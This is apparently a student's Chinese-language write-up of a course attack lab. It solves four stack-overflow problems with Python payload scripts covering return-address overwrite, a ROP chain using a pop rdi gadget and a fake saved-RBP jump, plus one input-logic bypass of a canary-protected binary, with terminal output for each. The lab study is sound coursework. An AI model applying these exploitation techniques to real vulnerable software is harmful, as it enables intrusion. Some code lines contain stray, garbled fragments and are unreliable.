

# 栈溢出攻击实验

## 题目解决思路

### Problem 1:

- **分析:** Problem 1 的核心漏洞位于 func 函数 (0x401232) 中, 该函数调用 strcpy 将用户输入复制到位于 rbp-0x8 的局部缓冲区, 由于未检查输入长度导致栈溢出; 为了劫持程序控制流, 我们需要构造一个二进制 Payload, 首先填充 **16字节** 的垃圾数据 (8字节缓冲区 + 8字节 Saved RBP) 以精确覆盖到栈上的返回地址, 紧接着写入目标函数 func1 的入口地址 **0x401216** (64位小端序), 从而使得 func 函数返回时直接跳转至 func1 并输出 "Yes!! like ICS!"
- **解决方案:**

```
p1.py
1  import struct
2
3  # 1. 设置目标参数
4  padding_length = 16          # 8字节buffer + 8字节saved_rbp
5  target_address = 0x401216    # func1 的地址
6
7  # 2. 构造 Payload
8  # b'A' * 16 用于填充空间, 覆盖到 ret 地址之前
9  padding = b'A' * padding_length
10
11 # struct.pack('<Q', ...) 将地址转为 64位小端序(Little Endian)
12 # < 代表小端序, Q 代表 unsigned long long (8 bytes)
13 address = struct.pack('<Q', target_address)
14
15 payload = padding + address
16
17 # 3. 写入文件
18 filename = "ans1.txt"
19 with open(filename, "wb") as f:
20     f.write(payload)
21
22 print(f"Payload generated: {filename}")
23 print(f"Padding size: {padding_length}")
24 print(f"Jump to: {hex(target_address)}")
25 print(f"Hex content: {payload.hex()}")
```

- **结果:**

```
tenderness@Tenderness:~/attack-lab-tender77777$ ./problem1 ans1.txt
Do you like ICS?
Yes!! like ICS!
tenderness@Tenderness:~/attack-lab-tender77777$
```

### Problem 2:

- **分析:** Problem 2 的核心在于利用 **ROP (Return Oriented Programming)** 技术绕过 NX 保护并进行函数传参。漏洞点位于 func 函数, memcpy 向 rbp-0x8 的缓冲区写入了 **56字节**, 造成栈溢出; 为了满足目标函数 func2 对第一个参数 (rdi) 必须为 **0x3f8** 的检查, 我们需要构造 Payload: 首先填充 **16字节** 覆盖 Saved RBP, 接着写入程序中自带的 pop rdi; ret Gadget 地址

(0x4012c7) 及其参数 0x3f8 将数值加载到寄存器，最后写入 func2 的入口地址 0x401216，从而成功劫持控制流并打印出 "Yes!! like ICS!"。

- 解决方案:

```
p2.py
1  import struct
2
3  # 1. 辅助函数: 将整数转为64位小端序字节
4  def p64(val):
5      return struct.pack('<Q', val)
6
7  # 2. 关键地址
8  pop_rdi_ret_addr = 0x4012c7 # Gadget: pop rdi; ret
9  func2_addr       = 0x401216 # 目标函数 func2
10 arg_val          = 0x3f8    # 题目要求的参数值
11
12 # 3. 构造 Payload
13 offset = 16 # 8 bytes buffer + 8 bytes saved rbp
14 padding = b'A' * offset
15
16 # ROP Chain
17 rop = p64(pop_rdi_ret_addr) + p64(arg_val) + p64(func2_addr)
18
19 payload = padding + rop
20
21 # 4. 写入文件
22 filename = "ans2.txt"
23 with open(filename, "wb") as f:
24     f.write(payload)
25
26 print(f"[+] Payload written to {filename}")
27 print(f"[+] Padding: {offset}")
28 print(f"[+] Gadget: {hex(pop_rdi_ret_addr)}")
29 print(f"[+] Arg: {hex(arg_val)}")
30 print(f"[+] Target: {hex(func2_addr)}")
```

- 结果:

```
tenderness@Tenderness:~/attack-lab-tender77777$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!!I like ICS!
tenderness@Tenderness:~/attack-lab-tender77777$
```

## Problem 3:

- 分析: Problem 3 的难点在于可用的栈溢出空间极小 (仅能覆盖返回地址后的 16-24 字节) 且缺乏显式的 Gadget 来传递参数 0x72。通过分析目标函数 func1 的汇编代码, 我发现其参数检查逻辑位于函数开头, 且依赖于栈上的局部变量。为了绕过这一检查及参数传递的限制, 我采用了 **Partial Overwrite / 直接跳转** 的策略: 构造 Payload 填充 32 字节缓冲区, 将 Saved RBP 覆盖为一个可读写的合法地址 (如 .data 段地址 0x403510), 并将返回地址直接覆盖为 func1 内部跳过参数检查后的指令地址 0x40122b。这样, 程序在 func 返回时直接执行打印 "Your Luck number is 114" 的代码并随后调用 exit 正常退出, 成功完成了攻击。

- 解决方案:

```
p3.py
1  import struct
2
3  # 1. 地址定义
4  # 跳过 func1 的参数检查和栈帧建立, 直接跳转到加载字符串的位置
5  # 40122b: 48 b8 59 6f 75 72 20  movabs $0x63756c2072756f59,%rax
6  target_addr = 0x40122b
7
8  # 一个可读写的地址用来做 Fake RBP, 防止 func1 内部寻址崩溃
9  # 这里选取 .bss 或 .data 段的一个地址, 例如 saved_rsp 变量的地址
10 fake_rbp = 0x403510
11
12 # 2. 构造 Payload
13 # Buffer (32)
14 padding = b'A' * 32
15
16 # Saved RBP (8) -> Fake RBP
17 # 当 func 执行 leave 时, 这个值会被 pop 到 RBP 寄存器
18 rbp_val = struct.pack('<Q', fake_rbp)
19
20 # Return Address (8) -> Target
21 ret_addr = struct.pack('<Q', target_addr)
22
23 payload = padding + rbp_val + ret_addr
24 |
25 # 3. 写入文件
26 filename = "ans3.txt"
27 with open(filename, "wb") as f:
28     f.write(payload)
29
30 print(f"[+] Payload written to {filename}")
31 print(f"[+] Jump to: {hex(target_addr)}")chmod +x problem3
```

- 结果:

```
tenderness@Tenderness:~/attack-lab-tender7777$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
Segmentation fault (core dumped)
```

## Problem 4:

- 分析: 本题开启了 Canary 栈保护。汇编代码显示, 程序在 func 函数入口处 (0x136c) 将 %fs:0x28 处的随机值 (Cookie) 插入到栈帧底部的 rbp-0x8 位置; 在函数返回前 (0x140e), 程序取出该值与原值进行异或或比较校验。如果攻击者试图溢出缓冲区覆盖返回地址, 必然会先破坏该 Canary 值, 导致校验失败并触发 \_\_stack\_chk\_fail 终止程序

- 解决方案:

- 本题利用逻辑漏洞绕过保护, 无需溢出。汇编代码 0x13df 处存在指令 cmpl \$0xffffffff, -0xc(%rbp), 直接判断输入是否等于 -1

- 结果:

```
tenderness@Tenderness:~/attack-lab-tender7777$ ./problem4
hi please tell me what is your name?
-1
hi! do you like ics?
-1
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

